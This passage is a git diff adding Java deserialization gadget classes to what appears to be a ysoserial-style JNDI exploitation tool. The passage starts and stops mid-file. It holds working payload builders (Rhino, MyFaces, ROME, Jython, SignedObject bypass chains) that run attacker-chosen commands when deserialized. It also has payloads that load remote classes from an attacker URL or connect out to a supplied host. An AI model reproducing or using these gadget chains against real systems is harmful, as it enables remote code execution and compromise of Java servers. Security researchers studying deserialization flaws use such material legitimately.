//21 LOAD_CONST 3 (python code) + "830100" + //24 CALL_FUNCTION 1 + "01" + //27 POP_TOP + + "7C0000" + //28 LOAD_FAST 0 (file) + "690200" + //31 LOAD_ATTR 2 (close) + "830000" + //34 CALL_FUNCTION 0 + "01" + //37 POP_TOP + + "740300" + //38 LOAD_GLOBAL 3 (execfile) + "640100" + //41 LOAD_CONST 1 (remote path) + "830100" + //44 CALL_FUNCTION 1 + "01" + //47 POP_TOP + "640000" + //48 LOAD_CONST 0 (None) + "53"; //51 RETURN_VALUE + + // Helping consts and names + PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)}; + String[] names = new String[]{"open", "write", "close", "execfile"}; + + // Generating PyBytecode wrapper for our python bytecode + PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{"", ""}, "noname", "", 0, ""); + Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray()); + + // Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method + PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj); + + // Prepare Trigger Gadget + Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, (InvocationHandler) handler); + PriorityQueue priorityQueue = new PriorityQueue(2, comparator); + Object[] queue = new Object[]{1, 1}; + Reflections.setFieldValue(priorityQueue, "queue", queue); + Reflections.setFieldValue(priorityQueue, "size", 2); + return priorityQueue; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/MozillaRhino1.java b/src/main/java/com/qi4l/jndi/gadgets/MozillaRhino1.java new file mode 100644 index 0000000..75f71da --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/MozillaRhino1.java @@ -0,0 +1,72 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.JavaVersion; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import org.mozilla.javascript.*; + +import javax.management.BadAttributeValueExpException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + + + +/* + by @matthias_kaiser +*/ + +@SuppressWarnings({"unused"}) +@Dependencies({"rhino:js:1.7R2"}) +@Authors({Authors.MATTHIASKAISER}) +public class MozillaRhino1 implements ObjectPayload { + public static boolean isApplicableJavaVersion() { + return JavaVersion.isBadAttrValExcReadObj(); + } + + public Object getObject(String command) throws Exception { + Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError"); + Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor(); + Reflections.setAccessible(nativeErrorConstructor); + IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance(); + + Context context = Context.enter(); + + NativeObject scriptableObject = (NativeObject) context.initStandardObjects(); + + Method enterMethod = Context.class.getDeclaredMethod("enter"); + NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name"); + idScriptableObject.setGetterOrSetter("name", 0, method, false); + + Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer"); + NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message"); + idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false); + + Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class); + Reflections.setAccessible(getSlot); + Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1); + Field getter = slot.getClass().getDeclaredField("getter"); + Reflections.setAccessible(getter); + + Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox"); + Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class); + Reflections.setAccessible(memberboxClassConstructor); + Object memberboxes = memberboxClassConstructor.newInstance(enterMethod); + getter.set(slot, memberboxes); + + final Object tpl; + tpl = Gadgets.createTemplatesImpl(command); + + NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, tpl, TemplatesImpl.class); + idScriptableObject.setPrototype(nativeObject); + + BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); + Field valField = badAttributeValueExpException.getClass().getDeclaredField("val"); + Reflections.setAccessible(valField); + valField.set(badAttributeValueExpException, idScriptableObject); + return badAttributeValueExpException; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/MozillaRhino2.java b/src/main/java/com/qi4l/jndi/gadgets/MozillaRhino2.java new file mode 100644 index 0000000..a1b9aae --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/MozillaRhino2.java @@ -0,0 +1,104 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.mozilla.javascript.*; +import org.mozilla.javascript.tools.shell.Environment; + +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.lang.reflect.Method; +import java.util.Hashtable; +import java.util.Map; + + +/** + * Works on rhino 1.6R6 and above & doesn't depend on BadAttributeValueExpException's readObject + *

+ * Chain: + *

+ * NativeJavaObject.readObject() + * JavaAdapter.readAdapterObject() + * ObjectInputStream.readObject() + * ... + * NativeJavaObject.readObject() + * JavaAdapter.readAdapterObject() + * JavaAdapter.getAdapterClass() + * JavaAdapter.getObjectFunctionNames() + * ScriptableObject.getProperty() + * ScriptableObject.get() + * ScriptableObject.getImpl() + * Method.invoke() + * Context.enter() + * JavaAdapter.getAdapterClass() + * JavaAdapter.getObjectFunctionNames() + * ScriptableObject.getProperty() + * NativeJavaArray.get() + * NativeJavaObject.get() + * JavaMembers.get() + * Method.invoke() + * TemplatesImpl.getOutputProperties() + * ... + *

+ * by @_tint0 + */ +@Dependencies({"rhino:js:1.7R2"}) +@Authors({Authors.TINT0}) +public class MozillaRhino2 implements ObjectPayload { + public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException { + out.writeObject("java.lang.Object"); + out.writeObject(new String[0]); + out.writeObject(javaObject); + } + + @Override + public Object getObject(String command) throws Exception { + ScriptableObject dummyScope = new Environment(); + Map associatedValues = new Hashtable(); + associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class)); + Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues); + + Object initContextMemberBox = Reflections.createWithConstructor( + Class.forName("org.mozilla.javascript.MemberBox"), + (Class) Class.forName("org.mozilla.javascript.MemberBox"), + new Class[]{Method.class}, + new Object[]{Context.class.getMethod("enter")}); + + ScriptableObject initContextScriptableObject = new Environment(); + Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class); + Reflections.setAccessible(makeSlot); + Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4); + Reflections.setFieldValue(slot, "getter", initContextMemberBox); + + NativeJavaObject initContextNativeJavaObject = new NativeJavaObject(); + Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope); + Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true); + Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject", + this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); + Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject); + + ScriptableObject scriptableObject = new Environment(); + scriptableObject.setParentScope(initContextNativeJavaObject); + makeSlot.invoke(scriptableObject, "outputProperties", 0, 2); + + NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class); + Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope); + + final Object tpl; + tpl = Gadgets.createTemplatesImpl(command); + + Reflections.setFieldValue(nativeJavaArray, "javaObject", tpl); + nativeJavaArray.setPrototype(scriptableObject); + Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject); + + NativeJavaObject nativeJavaObject = new NativeJavaObject(); + Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope); + Reflections.setFieldValue(nativeJavaObject, "isAdapter", true); + Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject", + this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); + Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray); + return nativeJavaObject; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Myfaces1.java b/src/main/java/com/qi4l/jndi/gadgets/Myfaces1.java new file mode 100644 index 0000000..dc1ab61 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Myfaces1.java @@ -0,0 +1,82 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.myfaces.context.servlet.FacesContextImpl; +import org.apache.myfaces.context.servlet.FacesContextImplBase; +import org.apache.myfaces.el.CompositeELResolver; +import org.apache.myfaces.el.unified.FacesELContext; +import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression; + +import javax.el.ELContext; +import javax.el.ExpressionFactory; +import javax.el.ValueExpression; +import javax.servlet.ServletContext; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; + +/** + * ValueExpressionImpl.getValue(ELContext) + * ValueExpressionMethodExpression.getMethodExpression(ELContext) + * ValueExpressionMethodExpression.getMethodExpression() + * ValueExpressionMethodExpression.hashCode() + * HashMap.hash(Object) + * HashMap.readObject(ObjectInputStream) + *

+ * Arguments: + * - an EL expression to execute + *

+ * Requires: + * - MyFaces + * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) + * + * @author mbechler + */ +@Dependencies +@Authors({Authors.MBECHLER}) +public class Myfaces1 implements ObjectPayload, DynamicDependencies { + public static String[] getDependencies() { + if (System.getProperty("el") == null || "apache".equals(System.getProperty("el"))) { + return new String[]{ + "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", + "org.mortbay.jasper:apache-el:8.0.27", + "javax.servlet:javax.servlet-api:3.1.0", + + // deps for mocking the FacesContext + "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" + }; + } else if ("juel".equals(System.getProperty("el"))) { + return new String[]{ + "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", + "de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7", + "javax.servlet:javax.servlet-api:3.1.0", + + // deps for mocking the FacesContext + "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" + }; + } + + throw new IllegalArgumentException("Invalid el type " + System.getProperty("el")); + } + + public static Object makeExpressionPayload(String expr) throws Exception { + FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null); + ELContext elContext = new FacesELContext(new CompositeELResolver(), fc); + Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext); + ExpressionFactory expressionFactory = ExpressionFactory.newInstance(); + + ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class); + ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1); + ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); + ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2); + + return Gadgets.makeMap(e2, e); + } + + @Override + public Object getObject(String command) throws Exception { + return makeExpressionPayload(command); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Myfaces2.java b/src/main/java/com/qi4l/jndi/gadgets/Myfaces2.java new file mode 100644 index 0000000..75ae66d --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Myfaces2.java @@ -0,0 +1,27 @@ +package com.qi4l.jndi.gadgets; + +public class Myfaces2 implements ObjectPayload, DynamicDependencies { + @Override + public Object getObject(String command) throws Exception { + + int sep = command.lastIndexOf(':'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: :"); + } + + String url = command.substring(0, sep); + String className = command.substring(sep + 1); + + // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/ + String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}"; + + // if we add fewer than the actual classloaders we end up with a null entry + for (int i = 0; i < 100; i++) { + expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}"; + } + expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" + + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}"; + + return Myfaces1.makeExpressionPayload(expr); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/ObjectPayload.java b/src/main/java/com/qi4l/jndi/gadgets/ObjectPayload.java new file mode 100644 index 0000000..a061d90 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/ObjectPayload.java @@ -0,0 +1,104 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.LdapServer; +import com.qi4l.jndi.gadgets.utils.JavaVersion; +import org.reflections.Reflections; + +import java.lang.reflect.Modifier; +import java.util.Iterator; +import java.util.Random; +import java.util.Set; + +import static com.qi4l.jndi.Starter.caseInsensitiveObjectPayloadMap; + +public interface ObjectPayload { + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAnnInvHUniversalMethodImpl(); + } + + /* + * return armed payload object to be serialized that will execute specified + * command on deserialization + */ + public T getObject(String command) throws Exception; + + public static class Utils { + + // get payload classes by classpath scanning + public static Set> getPayloadClasses() { + final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); + final Set> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); + for (Iterator> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { + Class pc = iterator.next(); + if (pc.isInterface() || Modifier.isAbstract(pc.getModifiers())) { + iterator.remove(); + } + } + return payloadTypes; + } + + + @SuppressWarnings("unchecked") + public static Class getPayloadClass(final String className) { + Class clazz = null; + try { + clazz = (Class) Class.forName(className); + } catch (Exception ignored) { + } + if (clazz == null) { + try { + return clazz = (Class) Class.forName(LdapServer.class.getPackage().getName() + ".gadgets." + className); + }catch (NoClassDefFoundError e) { + clazz = caseInsensitiveObjectPayloadMap.get(LdapServer.class.getPackage().getName() + ".gadgets." + className); + } + catch (Exception ignored) { + clazz = caseInsensitiveObjectPayloadMap.get(LdapServer.class.getPackage().getName() + ".gadgets." + className); + } + } + if (clazz != null && !ObjectPayload.class.isAssignableFrom(clazz)) { + clazz = null; + } + return clazz; + } + + + @SuppressWarnings("unchecked") + public static void releasePayload(ObjectPayload payload, Object object) throws Exception { + if (payload instanceof ReleaseableObjectPayload) { + ((ReleaseableObjectPayload) payload).release(object); + } + } + + + public static void releasePayload(String payloadType, Object payloadObject) { + final Class payloadClass = getPayloadClass(payloadType); + if (payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass)) { + throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); + + } + + try { + final ObjectPayload payload = payloadClass.newInstance(); + releasePayload(payload, payloadObject); + } catch (Exception e) { + e.printStackTrace(); + } + + } + + //生成随机字符 + public static String generateRandomString(int length) { + String characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; + StringBuilder sb = new StringBuilder(); + + Random random = new Random(); + for (int i = 0; i < length; i++) { + int index = random.nextInt(characters.length()); + char randomChar = characters.charAt(index); + sb.append(randomChar); + } + + return sb.toString(); + } + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/ROME.java b/src/main/java/com/qi4l/jndi/gadgets/ROME.java new file mode 100644 index 0000000..1492d10 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/ROME.java @@ -0,0 +1,39 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.sun.syndication.feed.impl.ObjectBean; + +import javax.xml.transform.Templates; + + +/** + * TemplatesImpl.getOutputProperties() + * NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) + * NativeMethodAccessorImpl.invoke(Object, Object[]) + * DelegatingMethodAccessorImpl.invoke(Object, Object[]) + * Method.invoke(Object, Object...) + * ToStringBean.toString(String) + * ToStringBean.toString() + * ObjectBean.toString() + * EqualsBean.beanHashCode() + * ObjectBean.hashCode() + * HashMap.hash(Object) + * HashMap.readObject(ObjectInputStream) + * + * @author mbechler + */ + +@Dependencies("rome:rome:1.0") +@Authors({Authors.MBECHLER}) +public class ROME implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + ObjectBean delegate = new ObjectBean(Templates.class, templates); + ObjectBean root = new ObjectBean(ObjectBean.class, delegate); + return Gadgets.makeMap(root, root); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/ROME2.java b/src/main/java/com/qi4l/jndi/gadgets/ROME2.java new file mode 100644 index 0000000..ea444f8 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/ROME2.java @@ -0,0 +1,34 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.sun.syndication.feed.impl.EqualsBean; + +import javax.xml.transform.Templates; +import java.util.Map; + + +@Dependencies("rome:rome:1.0") +public class ROME2 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Object o; + + o = Gadgets.createTemplatesImpl(command); + + EqualsBean bean = new EqualsBean(String.class, ""); + + Map map1 = Gadgets.createMap("aa", o); + map1.put("bB", bean); + + Map map2 = Gadgets.createMap("aa", bean); + map2.put("bB", o); + + Reflections.setFieldValue(bean, "_beanClass", Templates.class); + Reflections.setFieldValue(bean, "_obj", o); + + return Gadgets.makeMap(map1, map2); + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/ReleaseableObjectPayload.java b/src/main/java/com/qi4l/jndi/gadgets/ReleaseableObjectPayload.java new file mode 100644 index 0000000..bc45f19 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/ReleaseableObjectPayload.java @@ -0,0 +1,6 @@ +package com.qi4l.jndi.gadgets; + +public interface ReleaseableObjectPayload extends ObjectPayload { + + void release(T obj) throws Exception; +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/RenderedImage.java b/src/main/java/com/qi4l/jndi/gadgets/RenderedImage.java new file mode 100644 index 0000000..cd577da --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/RenderedImage.java @@ -0,0 +1,56 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; + +import javax.imageio.ImageIO; +import javax.media.jai.remote.SerializableRenderedImage; +import java.awt.image.BufferedImage; +import java.io.ByteArrayInputStream; +import java.net.InetAddress; + +@Dependencies({"javax.media:jai-codec-1.1.3"}) +public class RenderedImage implements ObjectPayload { + public static byte hexToByte(String inHex) { + return (byte) Integer.parseInt(inHex, 16); + } + + public static byte[] hexToByteArray(String inHex) { + int hexlen = inHex.length(); + byte[] result; + if (hexlen % 2 == 1) { + hexlen++; + result = new byte[(hexlen / 2)]; + inHex = "0" + inHex; + } else { + result = new byte[(hexlen / 2)]; + } + int j = 0; + for (int i = 0; i < hexlen; i += 2) { + result[j] = hexToByte(inHex.substring(i, i + 2)); + j++; + } + return result; + } + + @Override + public Object getObject(String command) throws Exception { + + int sep = command.lastIndexOf(':'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: :"); + } + + String host = command.substring(0, sep); + String port = command.substring(sep + 1); + + String imageHex = "FFD8FFE000104A46494600010100000100010000FFDB0043000503040404030504040405050506070C08070707070F0B0B090C110F1212110F111113161C1713141A1511111821181A1D1D1F1F1F13172224221E241C1E1F1EFFDB0043010505050706070E08080E1E1411141E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1EFFC00011080009000803012200021101031101FFC400160001010100000000000000000000000000000308FFC40021100001030401050000000000000000000003000204010511130712143774B4FFC40014010100000000000000000000000000000001FFC40014110100000000000000000000000000000000FFDA000C03010002110311003F00D0967E448E6E43976297246D894310229231BDD1B6606E18FB8C6BD95675BAA3CE688A772F0E1FD90FD234497FFFD9"; + BufferedImage picImage = ImageIO.read(new ByteArrayInputStream(hexToByteArray(imageHex))); + + SerializableRenderedImage serializableRenderedImage = new SerializableRenderedImage(picImage, true); + Reflections.setFieldValue(serializableRenderedImage, "port", Integer.parseInt(port)); + Reflections.setFieldValue(serializableRenderedImage, "host", InetAddress.getByName(host)); + + return serializableRenderedImage; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/SignedObject.java b/src/main/java/com/qi4l/jndi/gadgets/SignedObject.java new file mode 100644 index 0000000..ba76857 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/SignedObject.java @@ -0,0 +1,211 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.SignedObjectUtils; +import com.qi4l.jndi.gadgets.utils.dirty.DirtyDataWrapper; +import com.sun.syndication.feed.impl.ObjectBean; +import org.apache.commons.beanutils.BeanComparator; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; +import org.apache.commons.collections4.bag.TreeBag; +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.mozilla.javascript.*; +import org.mozilla.javascript.tools.shell.Environment; +import org.springframework.beans.factory.ObjectFactory; + +import java.io.ObjectOutputStream; +import java.io.Serializable; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Method; +import java.lang.reflect.Type; +import java.math.BigInteger; +import java.util.*; + +import static java.lang.Class.forName; + +/** + * SignedObject 二次反序列化 Gadget,用来进行某些场景的绕过(常见如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等) + * 利用链需要调用 SignedObject 的 getObject 方法,因此需要可以调用任意方法、或调用指定类 getter 方法的触发点; + * yso 中大概包含如下几种可用的常见调用链: + * 1. InvokerTransformer 调用任意方法(依赖 CC) + * 2. BeanComparator 调用 getter 方法(依赖 CB) + * 3. BasicPropertyAccessor$BasicGetter 调用 getter 方法(依赖 Hibernate) + * 4. ToStringBean 调用全部 getter 方法(依赖 Rome) + * 5. MethodInvokeTypeProvider 反射调用任意方法(依赖 spring-core) + * 6. MemberBox 反射调用任意方法(依赖 rhino) + *

+ * 利用方式: + * SignedObject 'CC:CommonsCollections6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:10000' + * + * @author QI4L + */ +public class SignedObject implements ObjectPayload { + + public Object getObject(String command) throws Exception { + String[] commands = command.split(":"); + + if (commands.length < 3) { + throw new IllegalArgumentException("Command format is: ::::"); + } + + String type1 = commands[0]; + Object object = getOriginal(Arrays.copyOfRange(commands, 1, commands.length)); + + switch (type1.toLowerCase()) { + case "cb": + return getSignedObjectWithCB(object); + case "hibernate": + return getSignedObjectWithHibernate(object); + case "rome": + return getSignedObjectWithRome(object); + case "rhino": + return getSignedObjectWithRhino(object); + case "spring": + return getSignedObjectWithSpring(object); + case "cc4": + return getSignedObjectWithCC4(object); + case "cc": + default: + return getSignedObjectWithCCNoArray(object); + } + } + + + public Object getOriginal(String[] args) throws Exception { + final String payloadType = args[0]; + String command = args[1]; + + // 支持单双引号 + if (command.startsWith("'") || command.startsWith("\"")) { + command = command.substring(1, command.length() - 1); + } + + String realCmd = com.qi4l.jndi.gadgets.utils.Utils.base64Decode(command); + + final Class payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType); + ObjectPayload payload = payloadClass.newInstance(); + Object object = payload.getObject(realCmd); + + if (args.length >= 3) { + final String type = args[2]; + final String length = args[3]; + object = (new DirtyDataWrapper(object, Integer.parseInt(type), Integer.parseInt(length))).doWrap(); + } + + return object; + } + + + // CC 无数组二次反序列化 + public Object getSignedObjectWithCCNoArray(Object serObj) throws Exception { + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + + Map old = new HashMap(); + Transformer invoke = new InvokerTransformer("toString", null, null); + Map newMap = LazyMap.decorate(old, invoke); + TiedMapEntry entry = new TiedMapEntry(newMap, obj); + Map ht = new HashMap(); + ht.put(entry, obj); + newMap.remove(obj); + + Reflections.setFieldValue(invoke, "iMethodName", "getObject"); + return ht; + } + + // CC4 无 TiedMapEntry 二次反序列化 + public Object getSignedObjectWithCC4(Object serObj) throws Exception { + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + + org.apache.commons.collections4.functors.InvokerTransformer transformer = new org.apache.commons.collections4.functors.InvokerTransformer("toString", new Class[0], new Object[0]); + TransformingComparator comp = new TransformingComparator((org.apache.commons.collections4.Transformer) transformer); + TreeBag tree = new TreeBag((Comparator) comp); + tree.add(obj); + Reflections.setFieldValue(transformer, "iMethodName", "getObject"); + return tree; + } + + + // CB 二次反序列化 + public Object getSignedObjectWithCB(Object serObj) throws Exception { + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + + final BeanComparator comparator = new BeanComparator("lowestSetBit"); + final PriorityQueue queue = new PriorityQueue(2, comparator); + queue.add(new BigInteger("1")); + queue.add(new BigInteger("1")); + + Reflections.setFieldValue(comparator, "property", "object"); + Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj}); + return queue; + } + + // Hibernate 二次反序列化 + public Object getSignedObjectWithHibernate(Object serObj) throws Exception { + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + Object getters = Hibernate1.makeGetter(obj.getClass(), "getObject"); + return Hibernate1.makeCaller(obj, getters); + } + + + // Rome 二次反序列化 + public Object getSignedObjectWithRome(Object serObj) throws Exception { + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + ObjectBean delegate = new ObjectBean(java.security.SignedObject.class, obj); + ObjectBean root = new ObjectBean(ObjectBean.class, delegate); + return Gadgets.makeMap(root, root); + } + + + // Spring-Core 二次反序列化 + public Object getSignedObjectWithSpring(Object serObj) throws Exception { + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + ObjectFactory objectFactoryProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", obj), ObjectFactory.class); + Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").newInstance(objectFactoryProxy), Type.class, java.security.SignedObject.class); + Object typeProviderProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); + + final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); + final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[]{}), 0); + Reflections.setFieldValue(mitp, "methodName", "getObject"); + return mitp; + } + + // Rhino 二次反序列化 + public Object getSignedObjectWithRhino(Object serObj) throws Exception { + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + ScriptableObject dummyScope = new Environment(); + Map associatedValues = new Hashtable(); + associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class)); + Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues); + Object initContextMemberBox = Reflections.createWithConstructor(Class.forName("org.mozilla.javascript.MemberBox"), (Class) Class.forName("org.mozilla.javascript.MemberBox"), new Class[]{Method.class}, new Object[]{Context.class.getMethod("enter")}); + ScriptableObject initContextScriptableObject = new Environment(); + Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class); + Reflections.setAccessible(makeSlot); + Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4); + Reflections.setFieldValue(slot, "getter", initContextMemberBox); + NativeJavaObject initContextNativeJavaObject = new NativeJavaObject(); + Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope); + Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true); + Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject", this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); + Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject); + ScriptableObject scriptableObject = new Environment(); + scriptableObject.setParentScope(initContextNativeJavaObject); + makeSlot.invoke(scriptableObject, "object", 0, 2); + NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class); + Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope); + Reflections.setFieldValue(nativeJavaArray, "javaObject", obj); + nativeJavaArray.setPrototype(scriptableObject); + Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject); + NativeJavaObject nativeJavaObject = new NativeJavaObject(); + Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope); + Reflections.setFieldValue(nativeJavaObject, "isAdapter", true); + Reflections.setFieldValue(nativeJavaObject, 